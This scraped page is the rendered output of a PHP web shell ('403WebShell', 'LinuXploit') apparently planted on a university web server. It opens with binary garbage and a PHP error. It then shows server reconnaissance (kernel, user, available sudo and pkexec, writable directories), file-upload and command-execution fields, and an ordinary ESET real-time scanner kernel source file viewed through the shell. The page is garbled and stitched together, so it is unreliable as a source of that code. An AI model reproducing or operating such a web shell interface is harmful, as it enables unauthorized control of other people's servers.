h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/opt/eset/efs/eventd/eset_rtp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/opt/eset/efs/eventd/eset_rtp/ertp_scanner.c
/*
 * eset_rtp (ESET Real-time file system protection module)
 * Copyright (C) 1992-2021 ESET, spol. s r.o.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 * In case of any questions, you can contact us at ESET, spol. s r.o., Einsteinova 24, 851 01 Bratislava, Slovakia.
 */

#include "ertp.h"

struct ertp_scanner escanner = {
	.events = LIST_HEAD_INIT(escanner.events),
	.lock = __SPIN_LOCK_UNLOCKED(lock),
	.tgid = ATOMIC_INIT(-1)
};

int ertp_scanner_reg(pid_t tgid)
{
	if (!ertp_no_scanner())
		return -EEXIST;

	ertp_pr_debug("registring new scanner with pid(tgid):%d.", tgid);
	atomic_set(&escanner.tgid, tgid);

	return 0;
}

void ertp_scanner_rem(void)
{
	struct ertp_event *event;
	struct ertp_event *tmp;
	LIST_HEAD(removed_events);

	if (ertp_no_scanner())
		return;

	ertp_pr_debug("unregistering scanner with pid(tgid):%d.", atomic_read(&escanner.tgid));
	atomic_set(&escanner.tgid, -1);

	spin_lock(&escanner.lock);
	list_for_each_entry_safe(event, tmp, &escanner.events, scan_list) {
		list_move_tail(&event->scan_list, &removed_events);
	}
	spin_unlock(&escanner.lock);

	list_for_each_entry_safe(event, tmp, &removed_events, scan_list) {
		ertp_pr_debug("event id %d removing from waiting queue on scanner disconnect", event->id);
		list_del_init(&event->scan_list);
		ertp_event_done(event);
		ertp_event_put(event);
	}
}

int ertp_scan_add_event(struct ertp_event *event)
{
	if (ertp_no_scanner())
		return -ENOENT;

	spin_lock(&escanner.lock);

	list_add_tail(&event->scan_list, &escanner.events);
	ertp_event_get(event);

	spin_unlock(&escanner.lock);

	return 0;
}

struct ertp_event *ertp_scan_pop_event(int id)
{
	struct ertp_event *found = NULL;
	struct ertp_event *event;

	spin_lock(&escanner.lock);

	list_for_each_entry(event, &escanner.events, scan_list) {
		if (event->id == id) {
			found = event;
			break;
		}
	}

	if (found)
		list_del_init(&event->scan_list);

	spin_unlock(&escanner.lock);

	return found;
}

Youez - 2016 - github.com/yon3zu
LinuXploit